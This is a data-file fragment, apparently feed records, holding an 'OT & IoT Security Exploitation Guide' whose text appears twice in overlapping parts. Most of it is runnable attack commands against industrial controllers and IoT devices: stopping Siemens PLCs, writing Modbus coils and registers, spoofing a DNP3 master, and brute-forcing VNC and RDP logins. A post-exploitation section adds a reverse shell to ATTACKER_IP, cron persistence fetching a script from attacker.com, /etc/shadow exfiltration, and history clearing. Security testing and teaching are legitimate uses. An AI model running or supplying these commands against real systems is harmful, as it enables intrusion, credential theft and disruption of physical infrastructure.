traffic\n(1) # Start sniff\n(1) # Stop sniff\n```\n\n**Flash Dumping:**\n```bash\n# Using flashrom\nflashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin\n\n# Using SPI with Arduino\n# Use SPI library to read/write flash chips\n```\n\n#### **I2C (Inter-Integrated Circuit)**\n\n**Enumeration:**\n```bash\n# Scan for devices\ni2cdetect -y 1 # Raspberry Pi\ni2cdetect -y 0 # Other boards\n\n# Read from device\ni2cget -y 1 0x50 0x00 # Read byte from address 0x50\ni2cdump -y 1 0x50 # Dump all registers\n\n# Write to device\ni2cset -y 1 0x50 0x00 0xFF # Write byte\n```\n\n**EEPROM Dumping:**\n```bash\n# Dump entire EEPROM\ndd if=/sys/bus/i2c/devices/1-0050/eeprom of=eeprom.bin\n\n# Using flashrom\nflashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r eeprom.bin\n```\n\n### **Wireless Protocol Attacks**\n\n#### **Zigbee/Z-Wave**\n\n**Sniffing with KillerBee:**\n```bash\n# List devices\nsudo zbid\n\n# Sniff traffic\nsudo zbwireshark # GUI\nsudo zbdump -i /dev/ttyUSB0 -w capture.pcap # CLI\n\n# Capture specific channel\nsudo zbdump -i /dev/ttyUSB0 -c 15 -w channel15.pcap\n\n# Replay attack\nsudo zbreplay -i /dev/ttyUSB0 -r capture.pcap -f 1\n\n# Packet injection\nsudo zbinject -i /dev/ttyUSB0 -c 15 -p \"malicious_packet\"\n```\n\n**Exploitation:**\n```bash\n# Crack network key\nsudo zbgoodfind -r capture.pcap\n\n# De-authentication attack\nsudo zbstumbler -i /dev/ttyUSB0\n\n# Key extraction from devices\n# Requires physical access to extract keys from chips\n```\n\n#### **Bluetooth Low Energy (BLE)**\n\n**Discovery:**\n```bash\n# Scan for devices\nsudo hcitool lescan\nsudo bluetoothctl scan on\n\n# Get device info\nsudo hcitool leinfo MAC_ADDRESS\n```\n\n**GATT Enumeration:**\n```bash\n# Using gatttool\ngatttool -b MAC_ADDRESS -I\n[CONNECTED]> primary\n[CONNECTED]> characteristics\n[CONNECTED]> char-read-hnd 0x000c\n```\n\n**Exploitation with GATTacker:**\n```bash\n# Clone BLE device\nnode clone.js MAC_ADDRESS\n\n# MITM attack\nnode advertise.js -s \"Spoofed Device\"\n\n# Fuzzing\npython3 ble_fuzzer.py -t MAC_ADDRESS\n```\n\n#### **LPWAN (LoRaWAN, Sigfox)**\n\n**LoRaWAN Sniffing:**\n```bash\n# Using gr-lora\ngnuradio-companion # Use LoRa receiver flowgraph\n\n# Using SDR with Lorawan decoder\nrtl_sdr -f 868000000 -s 1000000 -g 40 - | lorawan-decoder\n\n# Capture packets\nsudo tshark -i lo -Y \"lorawan\" -w lorawan.pcap\n```\n\n**Replay Attacks:**\n```bash\n# Record transmission\nrtl_sdr -f 868000000 -s 1000000 -g 40 capture.bin\n\n# Replay with HackRF\nhackrf_transfer -t capture.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n**Jamming:**\n```bash\n# Generate noise\nhackrf_transfer -t noise.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n#### **Wi-Fi Attacks on IoT**\n\n**De-authentication:**\n```bash\n# Using aireplay-ng\naireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon\n\n# Using mdk4\nmdk4 wlan0mon d -b blacklist.txt -c 1\n```\n\n**WPA2 Enterprise Attacks:**\n```bash\n# EAP attack with hostapd-wpe\nhostapd-wpe hostapd-wpe.conf\n\n# Capture credentials\nasleap -r capture.cap -f wordlist.txt\n```\n\n**WPS PIN Attacks:**\n```bash\n# Using Reaver\nreaver -i wlan0mon -b AP_MAC -vv\n\n# Using bully\nbully wlan0mon -b AP_MAC -p 12345670\n```\n\n### **Web Interface & API Attacks**\n\n**Default Credentials:**\n```bash\n# Common IoT defaults\nadmin/admin\nadmin/password\nroot/root\nuser/user\nsupport/support\ntechnician/technician\n\n# Manufacturer-specific\nCisco/Cisco\nD-Link/admin\nNetgear/password\nTP-Link/admin\nUbiquiti/ubnt\n```\n\n**Directory Enumeration:**\n```bash\n# Using Gobuster\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,txt,cgi,bin,sh\n\n# Using Dirb\ndirb http://target_ip /usr/share/wordlists/dirb/common.txt\n\n# Using FFuF\nffuf -u http://target_ip/FUZZ -w wordlist.txt\n```\n\n**API Testing:**\n```bash\n# Discover endpoints\ncurl http://target_ip/api/v1/\ncurl http://target_ip/rest/\ncurl http://target_ip/webservices/\n\n# Fuzz parameters\nwfuzz -c -z file,wordlist.txt --hc 404 http://target_ip/api/FUZZ\n\n# Test for injection\ncurl \"http://target_ip/api/control?device=1;ls\"\ncurl -X POST http://target_ip/api/config -d \"data=alert(1)\"\n```\n\n### **Common IoT Vulnerabilities**\n\n**Command Injection:**\n```bash\n# Test for command injection\ncurl \"http://target_ip/ping?ip=127.0.0.1;whoami\"\ncurl \"http://target_ip/ping?ip=127.0.0.1||id\"\ncurl \"http://target_ip/ping?ip=127.0.0.1&&cat /etc/passwd\"\n\n# Reverse shell\ncurl \"http://target_ip/ping?ip=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"\n```\n\n**Path Traversal:**\n```bash\ncurl \"http://target_ip/../../etc/passwd\"\ncurl \"http://target_ip/%2e%2e/%2e%2e/etc/passwd\"\ncurl \"http://target_ip/..%2f..%2fetc%2fpasswd\"\n```\n\n**Insecure Direct Object Reference:**\n```bash\n# Bypass authorization\ncurl \"http://target_ip/api/user/1\" # Try 2, 3, etc.\ncurl \"http://target_ip/api/device/100/config\"\n```\n\n**XML External Entity (XXE):**\n```bash\ncurl -X POST http://target_ip/api/config \\\n-H \"Content-Type: application/xml\" \\\n-d '\n ]>\n&xxe;'\n```\n\n**Server-Side Request Forgery (SSRF):**\n```bash\ncurl \"http://target_ip/proxy?url=http://169.254.169.254/latest/meta-data/\"\ncurl \"http://target_ip/proxy?url=file:///etc/passwd\"\ncurl \"http://target_ip/proxy?url=gopher://attacker.com:80/_GET%20/internal\"\n```\n\n---\n\n## OT/IoT Security Assessment Methodology\n\n### **Phase 1: Reconnaissance**\n\n```bash\n# 1. Passive reconnaissance\n# Use Shodan, Censys, ZoomEye\nshodan search \"SCADA country:US\"\ncensys search \"services.service_name: MODBUS\"\n\n# 2. Active scanning\nnmap -sS -p 1-65535 -T4 -A -v target\nmasscan -p1-65535 target --rate=1000\n\n# 3. Protocol identification\nnmap --script banner -p- target\n```\n\n### **Phase 2: Enumeration**\n\n```bash\n# 1. Service enumeration\nnmap -sV -sC -p 102,502,20000,44818 target\n\n# 2. Web enumeration\ngobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt\n\n# 3. SNMP enumeration\nsnmpwalk -c public -v1 target\nsnmp-check target -c public\n```\n\n### **Phase 3: Vulnerability Assessment**\n\n```bash\n# 1. Protocol-specific testing\npython3 modscan.py -t target -p 502\npython3 s7scan.py -t target\n\n# 2. Web vulnerability scanning\nnikto -h http://target\nwapiti -u http://target\n\n# 3. Credential testing\nhydra -L users.txt -P passwords.txt target ssh\nhydra -L users.txt -P passwords.txt http-post-form \"/login.php:user=^USER^&pass=^PASS^:F=incorrect\"\n```\n\n### **Phase 4: Exploitation**\n\n```bash\n# 1. Protocol exploitation\n# Modbus write coil\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target\n\n# S7 stop CPU\npython3 -c \"import snap7; client = snap7.client.Client(); client.connect('target', 0, 1); client.plc_stop()\"\n\n# 2. Web exploitation\n# Command injection\ncurl \"http://target/ping?ip=127.0.0.1;whoami\"\n\n# 3. Hardware exploitation\n# UART shell access\nscreen /dev/ttyUSB0 115200\n```\n\n### **Phase 5: Post-Exploitation**\n\n```bash\n# 1. Establish persistence\necho \"*/5 * * * * curl http://attacker.com/shell.sh | bash\" >> /etc/crontab\n\n# 2. Lateral movement\n# Scan internal network\nnmap -sn 192.168.1.0/24\n\n# 3. Data exfiltration\ntar czf data.tar.gz /etc/passwd /etc/shadow\ncurl -X POST -F \"file=@data.tar.gz\" http://attacker.com/upload\n```\n\n### **Phase 6: Reporting**\n\n```bash\n# 1. Document findings\n# Create detailed report with:\n# - Vulnerabilities found\n# - Risk assessment\n# - Proof of concept\n# - Remediation recommendations\n\n# 2. Clean up\n# Remove tools, logs, backdoors\nrm -rf /tmp/malware\nhistory -c\n```\n\n---\n\n## Defense & Mitigation Strategies\n\n### **Network Segmentation**\n\n```bash\n# Implement firewall rules\n# Example iptables rules for OT network\niptables -A INPUT -p tcp --dport 502 -s 10.0.1.0/24 -j ACCEPT\niptables -A INPUT -p tcp --dport 502 -j DROP\n\n# VLAN segmentation\n# Separate OT from IT network\nvlan 10\n name OT_NETWORK\nvlan 20\n name IT_NETWORK\n```\n\n### **Access Control**\n\n```bash\n# Strong authentication\n# Use certificate-based authentication for critical systems\nopenssl req -new -newkey rsa:2048 -days 365 -nodes -x509 \\\n-keyout ot_key.pem -out ot_cert.pem\n\n# Role-based access control\n# Implement least privilege principle\n```\n\n### **Monitoring & Detection**\n\n```bash\n# Network monitoring\n# Use tools like Security Onion, Wazuh\nsuricata -c /etc/suricata/suricata.yaml -i eth0\n\n# Anomaly detection\n# Monitor for abnormal protocol behavior\n# Alert on: Unusual write commands, out-of-range values, etc.\n```\n\n### **Secure Configuration**\n\n```bash\n# Change default credentials\n# Disable unnecessary services\n# Regular patching (where possible)\n# Network segmentation\n# Logging and monitoring\n```\n\n### **Incident Response**\n\n```bash\n# IR Plan for OT systems\n1. Immediate isolation\n2. Assess impact on physical processes\n3. Preserve forensic evidence\n4. Coordinate with operations team\n5. System restoration with integrity checks\n```\n\n---\n\n## Tools & Resources\n\n### **Essential OT/IoT Security Tools**\n\n| Category | Tools |\n|----------|-------|\n| **Network Scanning** | Nmap, Masscan, ZMap |\n| **Protocol Analysis** | Wireshark, tcpdump, Scapy |\n| **ICS Protocols** | modscan, s7scan, dnp3-map, enip-tools |\n| **Firmware Analysis** | Binwalk, FACT, EMBBA, FAT |\n| **Hardware Tools** | JTAGulator, Bus Pirate, Shikra, ChipWhisperer |\n| **Wireless** | KillerBee, Ubertooth, HackRF, RTL-SDR |\n| **Exploitation** | Metasploit, Cobalt Strike, Empire |\n| **Vulnerability Scanners** | Nessus, OpenVAS, Nikto |\n\n### **Online Resources**\n\n```bash\n# Shodan filters for OT\n\"port:502\" \"country:US\"\n\"SCADA\" \"port:102\"\n\"Modbus\" \"port:502\"\n\n# Censys queries\nservices.service_name: \"MODBUS\"\n443.https.tls.certificate.parsed.names: \"scada\"\n```\n---\n\n## Quick Reference Commands\n\n### **OT Protocol Discovery**\n```bash\n# Quick OT scan\nnmap -sS -p 102,502,20000,44818,47808,34962-34964 -oA ot_scan target\n\n# Modbus check\nnc -zv target 502\necho -ne \"\\x00\\x01\\x00\\x00\\x00\\x06\\x01\\x03\\x00\\x00\\x00\\x01\" | nc target 502 | hexdump -C\n\n# S7 check\nnc -zv target 102\n```\n\n### **Common Exploitation**\n```bash\n# Modbus write coil (turn on)\npython3 -c \"\nfrom pymodbus.client import ModbusTcpClient\nclient = ModbusTcpClient('target', port=502)\nclient.write_coil(0, True)\n\"\n\n# VNC brute force\nhydra -L admin -P rockyou.txt -s 5900 -f -vV target vnc\n\n# RDP connection\nxfreerdp /u:administrator /p:Password123 /v:target /cert-ignore\n```\n\n### **Hardware Access**\n```bash\n# UART connection\nscreen /dev/ttyUSB0 115200\n\n# JTAG debugging\nopenocd -f interface/jlink.cfg -f target/stm32f1x.cfg\ntelnet localhost 4444\n```\n\n### **Firmware Analysis**\n```bash\n# Quick analysis\nbinwalk firmware.bin\nstrings firmware.bin | grep -i \"password\\|admin\\|root\"\n```\n\n---\n\n", "creation_timestamp": "2026-08-25T16:24:58.651607Z"} {"uuid": "b6d8f56c-badb-4a88-8771-833f94cf7b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16743", "type": "seen", "source": "https://gist.github.com/bbrk364/c0171ce39dd4dd9700b98e3aedec0f0c", "content": "# Operational Technology (OT) & IoT Security Exploitation Guide\n\nComprehensive guide to OT/IoT security testing covering ICS/SCADA protocols, industrial control systems, IoT device exploitation, firmware analysis, hardware interfaces, and wireless protocols with practical attack methodologies and defense strategies.\n\n---\n\n## OT Security Architecture & Threat Landscape\n\n### **OT vs IT Security Differences**\n\n| Aspect | IT Security | OT Security |\n|--------|-------------|-------------|\n| **Primary Concern** | Data confidentiality | System availability |\n| **Patching** | Regular updates | Limited, scheduled |\n| **Lifespan** | 3-5 years | 15-30 years |\n| **Risk Tolerance** | Medium | Very Low |\n| **Impact** | Financial loss | Physical damage, safety risks |\n| **Protocols** | TCP/IP, HTTP | Modbus, DNP3, PROFINET |\n\n### **Critical Infrastructure Sectors**\n\n1. **Energy** - Power grids, oil & gas pipelines\n2. **Water** - Treatment plants, distribution systems\n3. **Transportation** - Air traffic, rail systems\n4. **Manufacturing** - Industrial control systems\n5. **Healthcare** - Medical devices, hospital systems\n6. **Communications** - Telecom networks\n\n---\n\n## OT Protocol Enumeration & Exploitation\n\n### **Common OT Protocols & Ports**\n\n| Protocol | Port | Purpose | Tool |\n|----------|------|---------|------|\n| Modbus | 502 | Process automation | modscan, mbtget |\n| DNP3 | 20000 | Electrical grid control | dnp3-map |\n| S7comm | 102 | Siemens PLCs | s7scan, snap7 |\n| PROFINET | 34962/34964 | Industrial Ethernet | profinetd |\n| EtherNet/IP | 44818 | Allen-Bradley PLCs | enip-tools |\n| BACnet | 47808 | Building automation | bacnet-utils |\n| IEC 61850 | 102 | Electrical substations | libiec61850 |\n| OPC UA | 4840 | Data exchange | opcua-client |\n\n### **Network Discovery & Enumeration**\n\n**Shodan Dorks for OT Systems:**\n```bash\n# Modbus\n\"port:502\" \"product:modbus\"\n\"port:502\" \"content:modbus\"\n\n# Siemens S7\n\"port:102\" \"Siemens\"\n\"port:102\" \"S7comm\"\n\n# Allen-Bradley\n\"port:44818\" \"Rockwell\"\n\"port:44818\" \"EtherNet/IP\"\n\n# General ICS/SCADA\n\"SCADA\" \"port:102,502,20000,44818\"\n\"PLC\" \"port:102,502\"\n\"industrial control\"\n\n# VNC/RDP for HMIs\n\"port:5900\" \"RFB 003.008\"\n\"port:3389\" \"MS RDP\"\n```\n\n**Nmap Scripts for OT:**\n```bash\n# Comprehensive OT scan\nnmap -sS -sV -p 102,502,20000,44818,47808,34962-34964 --script=\"*scada*\" target\n\n# Modbus discovery\nnmap --script modbus-discover -p 502 target\n\n# Siemens S7 scan\nnmap --script s7-info -p 102 target\n\n# BACnet scan\nnmap --script bacnet-info -p 47808 target\n\n# All known ICS ports\nnmap -p 102,502,20000,2404,4000,4840,4843,4911,9600,1883,20547,34962-34964,44818,47808 target\n```\n\n**Masscan for Large Networks:**\n```bash\n# Fast OT port scanning\nmasscan -p102,502,20000,44818,47808,34962-34964 10.0.0.0/8 --rate=10000\n\n# Output to file\nmasscan -p102,502 192.168.0.0/16 -oL ot_scan.txt\n```\n\n### **Protocol-Specific Exploitation**\n\n#### **Modbus Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using modscan\npython3 modscan.py -t target_ip -p 502\n\n# Enumerate devices\nmodscan.py -a target_ip -p 502 -t 0 -r 1-100\n\n# Read holding registers\nmbtget -a 1 -r 40001-40010 -p 502 target_ip\n\n# Write to coils (dangerous!)\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target_ip\n```\n\n**Metasploit Modules:**\n```bash\nuse auxiliary/scanner/scada/modbusclient\nset RHOSTS target_ip\nset RPORT 502\nrun\n\n# Write single coil (turn on/off)\nuse auxiliary/admin/scada/modbus_write_coil\nset RHOST target_ip\nset RPORT 502\nset UNIT_ID 1\nset COIL_ADDR 0\nset COIL_VALUE 1\nrun\n```\n\n**Python Exploitation:**\n```python\nfrom pymodbus.client import ModbusTcpClient\n\nclient = ModbusTcpClient('target_ip', port=502)\nclient.connect()\n\n# Read coils\nresult = client.read_coils(0, 10)\nprint(f\"Coils: {result.bits}\")\n\n# Write coil (turn on)\nclient.write_coil(0, True)\n\n# Read holding registers\nresult = client.read_holding_registers(40001, 10)\nprint(f\"Registers: {result.registers}\")\n\n# Write register (change value)\nclient.write_register(40001, 1000)\n```\n\n#### **Siemens S7 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using s7scan\npython3 s7scan.py -t target_ip\n\n# With snap7\npython3 -c \"\nimport snap7\nclient = snap7.client.Client()\nclient.connect('target_ip', 0, 1)\nprint(client.get_cpu_info())\nclient.disconnect()\n\"\n\n# Metasploit\nuse auxiliary/scanner/scada/siemens_s7_scan\nset RHOSTS target_ip\nrun\n```\n\n**Stop CPU (Denial of Service):**\n```python\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\nclient.plc_stop() # Stops PLC operation\n```\n\n**Read/Write Memory:**\n```python\nfrom snap7.util import *\nfrom snap7.client import Client\n\nclient = Client()\nclient.connect('target_ip', 0, 1)\n\n# Read memory area\ndata = client.read_area(0x84, 0, 0, 100) # DB area\nvalue = get_int(data, 0)\nprint(f\"Value: {value}\")\n\n# Write to memory\ndata = bytearray(2)\nset_int(data, 0, 9999)\nclient.write_area(0x84, 0, 0, data)\n```\n\n#### **DNP3 Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using dnp3-map\npython3 dnp3-map.py -t target_ip -p 20000\n\n# Scan for DNP3\nnmap --script dnp3-info -p 20000 target_ip\n\n# Metasploit\nuse auxiliary/scanner/scada/dnp3_scan\nset RHOSTS target_ip\nrun\n```\n\n**Master Spoofing:**\n```python\nfrom pydnp3 import opendnp3, asiodnp3, asiopal\n\n# Create fake master\nstack_config = asiodnp3.DNP3Manager()\nchannel = stack_config.add_channel(\n \"client\",\n asiopal.ChannelRetry().defaults(),\n \"0.0.0.0\",\n 20000,\n asiodnp3.PrintingChannelListener().Create()\n)\n\nmaster = channel.add_master(\n \"master\",\n asiodnp3.PrintingSOEHandler().Create(),\n asiodnp3.DefaultMasterApplication().Create(),\n opendnp3.MasterStackConfig()\n)\n\n# Send control commands\ncommand = opendnp3.ControlRelayOutputBlock(\n opendnp3.ControlCode.LATCH_ON,\n 1,\n 1000,\n opendnp3.CommandStatus.SUCCESS\n)\n\nmaster.direct_operate(command, 0)\n```\n\n#### **EtherNet/IP (Allen-Bradley) Attacks**\n\n**Enumeration:**\n```bash\n# Using enip-tools\npython3 enip.py -i target_ip scan\n\n# List services\npython3 enip.py -i target_ip list_services\n\n# List identity\npython3 enip.py -i target_ip list_identity\n```\n\n**Read/Write Tags:**\n```python\nfrom cpppo.server.enip import client\n\n# Read tag\nwith client.connector(host='target_ip') as conn:\n operations = [('@4/1/3', 'SINT')] # Read tag at path\n failures, responses = conn.synchronous(operations=operations)\n print(f\"Value: {responses[0]}\")\n\n# Write tag\nwith client.connector(host='target_ip') as conn:\n operations = [('@4/1/3=42', 'SINT')] # Write value 42\n failures, _ = conn.synchronous(operations=operations)\n```\n\n#### **BACnet Protocol Attacks**\n\n**Enumeration:**\n```bash\n# Using bacnet-utils\nbacdiscover -d target_ip\n\n# Read device properties\nbaccfg -d target_ip -a 1001 read Device 1 objectName\n\n# Write property (if writable)\nbaccfg -d target_ip -a 1001 write Device 1 objectName \"HACKED\"\n\n# Metasploit\nuse auxiliary/scanner/scada/bacnet_discover\nset RHOSTS target_ip\nrun\n```\n\n**Denial of Service:**\n```bash\n# Flood with Who-Is requests\npython3 -c \"\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.apdu import WhoIsRequest\nfrom bacpypes import Address\n\n# Create broadcast request\nrequest = WhoIsRequest()\nrequest.pduDestination = Address('192.168.1.255/47808')\n\n# Send repeatedly\nfor _ in range(1000):\n request.encode()\n\"\n```\n\n---\n\n## HMI & Remote Access Exploitation\n\n### **VNC (Virtual Network Computing)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"vnc port:5900 country:us\"\n\"RFB 003.008\"\n\n# Nmap scan\nnmap -p 5900-5910 -sV --script vnc-info,vnc-title target\n\n# Mass scanning\nmasscan -p5900-5910 10.0.0.0/8 --rate=10000\n\n# Check for authentication\nnc -zv target_ip 5900\necho \"RFB 003.008\\n\" | nc target_ip 5900\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 5900 -f -vV target_ip vnc\n\n# Using Metasploit\nuse auxiliary/scanner/vnc/vnc_login\nset RHOSTS target_ip\nset USER_FILE /path/to/users.txt\nset PASS_FILE /path/to/passwords.txt\nrun\n\n# Using vncrack\nvncrack -P passwords.txt -u username -H target_ip -v 5900\n```\n\n**Exploitation:**\n```bash\n# Connect with vncviewer\nvncviewer target_ip::5900\n\n# With password\nvncviewer -passwd password.txt target_ip:5900\n\n# Autopass (if password stored)\nvncviewer -autopass target_ip:5900\n\n# Screenshot capture\nvncsnapshot target_ip:5900 screenshot.jpg\n```\n\n### **RDP (Remote Desktop Protocol)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:3389 product:\"Microsoft Terminal Services\"\"\n\"rdp country:de\"\n\n# Nmap scan\nnmap -p 3389 -sV --script rdp-enum-encryption,rdp-ntlm-info target\n\n# Check for BlueKeep vulnerability\nnmap -p 3389 --script rdp-vuln-ms12-020 target\n\n# Mass scanning\nmasscan -p3389 192.168.0.0/16 --rate=5000\n```\n\n**Brute Force Attacks:**\n```bash\n# Using Hydra\nhydra -L users.txt -P passwords.txt -s 3389 -f -vV target_ip rdp\n\n# Using Crowbar\ncrowbar -b rdp -s target_ip/32 -u users.txt -C passwords.txt\n\n# Using Ncrack\nncrack -vv --user username -P passwords.txt rdp://target_ip\n\n# Using Medusa\nmedusa -u username -P passwords.txt -h target_ip -M rdp\n```\n\n**Exploitation:**\n```bash\n# Connect with rdesktop\nrdesktop -u administrator -p Password123 -g 1024x768 -a 16 target_ip\n\n# With xfreerdp (supports NLA)\nxfreerdp /u:administrator /p:Password123 /v:target_ip /cert-ignore\n\n# With Remmina\nremmina --connect rdp://administrator:Password123@target_ip\n\n# Pass-the-hash attack\nxfreerdp /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /v:target_ip\n```\n\n### **TR-069 (CWMP) Exploitation**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:7547 product:\"TR-069\"\"\n\"CWMP\"\n\n# Nmap scan\nnmap -p 7547 -sV --script tr069-discover target\n\n# Check for exposed interfaces\ncurl -k https://target_ip:7547/\ncurl http://target_ip:7547/\n```\n\n**Exploitation:**\n```bash\n# Using genieacs\npython3 genieacs.py --host target_ip --port 7547 --list\n\n# Brute force credentials\nhydra -L users.txt -P passwords.txt -s 7547 target_ip http-post-form \\\n\"/:username=^USER^&password=^PASS^:Invalid\"\n\n# SOAP injection\ncurl -X POST http://target_ip:7547/ \\\n-H \"Content-Type: text/xml\" \\\n-d '\n\n\n\n\nInternetGatewayDevice.\n\n\n\n'\n```\n\n---\n\n## ICS/SCADA Specific Software Exploitation\n\n### **PRTG Network Monitor**\n\n**Discovery:**\n```bash\n# Shodan search\n\"title:PRTG inurl:/public\"\n\"PRTG Traffic Grapher\"\n\n# Directory enumeration\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,aspx\n\n# Version detection\ncurl -I http://target_ip/ | grep -i \"PRTG\"\n```\n\n**Exploitation:**\n```bash\n# Metasploit module\nuse exploit/windows/http/prtg_authenticated_rce\nset RHOSTS target_ip\nset RPORT 80\nset USERNAME prtgadmin\nset PASSWORD prtgadmin\nset TARGETURI /\nexploit\n\n# Directory traversal (CVE-2018-9276)\ncurl \"http://target_ip/public/login.htm?tabid=0&username=..\\..\\..\\..\\..\\windows\\system.ini\"\n\n# API key extraction\ncurl \"http://target_ip/api/table.xml?content=sensors&columns=objid,group,device,probe,sensor&loginurl=/public/login.htm&username=prtgadmin&password=prtgadmin\"\n```\n\n### **WinCC (Siemens)**\n\n**Discovery:**\n```bash\n# Shodan search\n\"port:102 product:WinCC\"\n\"Siemens SIMATIC WinCC\"\n\n# Web interface\nnmap -p 80,443 --script http-title target\n```\n\n**Exploitation:**\n```bash\n# Database access (default credentials)\nsqsh -S WinCC -U wincc -P wincc\n\n# Directory traversal\ncurl \"http://target_ip/WinCC/scripts/..\\..\\..\\..\\windows\\system.ini\"\n\n# Metasploit modules\nuse exploit/windows/scada/wincc_webexec\nuse auxiliary/admin/scada/wincc_a7_dataget\n```\n\n### **InduSoft Web Studio**\n\n**Discovery:**\n```bash\n# Shodan search\n\"InduSoft Web Studio\"\n\"port:1234 product:InduSoft\"\n\n# Default credentials\nadmin/1234\nadmin/admin\n```\n\n**Exploitation:**\n```bash\n# Directory traversal (CVE-2017-16744)\ncurl \"http://target_ip:1234/../../windows/system.ini\"\n\n# Buffer overflow (CVE-2017-16743)\npython3 -c \"\nimport socket\ns = socket.socket()\ns.connect(('target_ip', 1234))\npayload = 'A' * 5000\ns.send(payload)\n\"\n```\n\n---\n\n## IoT Device Exploitation Methodology\n\n### **Firmware Analysis**\n\n**Initial Analysis:**\n```bash\n# Identify file type\nfile firmware.bin\n\n# Extract strings\nstrings firmware.bin | head -100\nstrings -n 8 firmware.bin > strings.txt\nstrings -tx firmware.bin | grep -i \"password\\|admin\\|root\"\n\n# Check entropy\nbinwalk -E firmware.bin\n\n# List embedded files\nbinwalk firmware.bin\n\n# Extract file system\nbinwalk -e firmware.bin\n```\n\n**Advanced Analysis:**\n```bash\n# Using FACT (Firmware Analysis and Comparison Tool)\ncd /opt/fact\nsudo python3 -m fact.firmware firmware.bin\n\n# Using EMBBA\nsudo ./emba.sh -f firmware.bin -l ./logs -p ./scan-profiles/default\n\n# Using Firmware Analysis Toolkit (FAT)\nsudo python3 ./fat.py firmware.bin --qemu 2.5.0\n\n# Extract with fmk\n./extract-firmware.sh firmware.bin\n```\n\n**Filesystem Examination:**\n```bash\n# Mount extracted filesystem\nsudo mount -o loop extracted.squashfs /mnt/firmware\n\n# Search for sensitive files\nfind /mnt/firmware -type f -name \"*.pem\" -o -name \"*.key\" -o -name \"*password*\"\nfind /mnt/firmware -type f -exec grep -l \"password\" {} \\;\nfind /mnt/firmware -type f -perm -4000 # SUID files\n\n# Check configuration files\ncat /mnt/firmware/etc/passwd\ncat /mnt/firmware/etc/shadow\ncat /mnt/firmware/etc/config/*\n```\n\n### **Hardware Interfaces Exploitation**\n\n#### **UART (Universal Asynchronous Receiver-Transmitter)**\n\n**Identification:**\n```bash\n# Look for 4 pins: VCC, GND, TX, RX\n# Use multimeter to identify:\n# GND: 0V continuous\n# VCC: 3.3V or 5V\n# TX: Fluctuating voltage\n# RX: Steady voltage\n\n# Common baud rates: 115200, 9600, 57600, 38400\n```\n\n**Connection & Exploitation:**\n```bash\n# Using screen\nscreen /dev/ttyUSB0 115200\n\n# Using minicom\nminicom -D /dev/ttyUSB0 -b 115200\n\n# Using cu\ncu -l /dev/ttyUSB0 -s 115200\n\n# Common commands once connected:\n# Interrupt boot process (Ctrl+C, Ctrl+Z, Enter)\n# Check for bootloader prompt (U-Boot, RedBoot)\n# Access shell\n```\n\n**Bootloader Exploitation:**\n```bash\n# U-Boot common commands\nprintenv # Show environment variables\nsetenv bootargs \"console=ttyS0,115200 init=/bin/sh\" # Change init\nsaveenv # Save changes\nboot # Continue booting\n\n# RedBoot commands\nfis list # List flash partitions\nload -r -b 0x80000000 firmware.bin # Load new firmware\nfis create rootfs # Write to flash\n```\n\n#### **JTAG (Joint Test Action Group)**\n\n**Identification:**\n```bash\n# Look for 20-pin or 10-pin connector\n# Common pinouts:\n# TDI, TDO, TCK, TMS, TRST, VREF, GND\n\n# Using OpenOCD for detection\nopenocd -f interface/jlink.cfg -c \"transport select jtag\" -c \"adapter_khz 1000\" -c \"init\"\n```\n\n**Exploitation with OpenOCD:**\n```bash\n# Start OpenOCD server\nopenocd -f interface/jlink.cfg -f target/arm7tdmi.cfg\n\n# Connect with telnet\ntelnet localhost 4444\n\n# Common commands:\n> halt # Stop CPU\n> reg # Show registers\n> mdw 0x00000000 10 # Read memory\n> mww 0x00000000 0xdeadbeef # Write memory\n> load_image firmware.bin 0x80000000 # Load firmware\n> resume # Continue execution\n```\n\n**GDB Debugging:**\n```bash\n# Connect GDB to OpenOCD\narm-none-eabi-gdb firmware.elf\n(gdb) target remote localhost:3333\n(gdb) monitor halt\n(gdb) info registers\n(gdb) break main\n(gdb) continue\n```\n\n#### **SWD (Serial Wire Debug)**\n\n**Connection:**\n```bash\n# 4 pins: SWDIO, SWCLK, GND, VREF\nopenocd -f interface/stlink-v2.cfg -c \"transport select swd\" -f target/stm32f1x.cfg\n```\n\n**Dumping Flash:**\n```bash\n# In OpenOCD telnet\n> dump_image flash.bin 0x08000000 0x10000 # Dump 64KB\n\n# Using pyOCD\npyocd-flashtool -t stm32f103 -ce # Chip erase\npyocd-flashtool -t stm32f103 -r flash.bin # Read flash\n```\n\n#### **SPI (Serial Peripheral Interface)**\n\n**Sniffing with Bus Pirate:**\n```bash\n# Connect: MOSI, MISO, CLK, CS\n# Initialize\nm # Set mode\n5 # SPI\n4 # 30kHz\n1 # Output type\nW # Power supplies on\n\n# Sniff traffic\n(1) # Start sniff\n(1) # Stop sniff\n```\n\n**Flash Dumping:**\n```bash\n# Using flashrom\nflashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin\n\n# Using SPI with Arduino\n# Use SPI library to read/write flash chips\n```\n\n#### **I2C (Inter-Integrated Circuit)**\n\n**Enumeration:**\n```bash\n# Scan for devices\ni2cdetect -y 1 # Raspberry 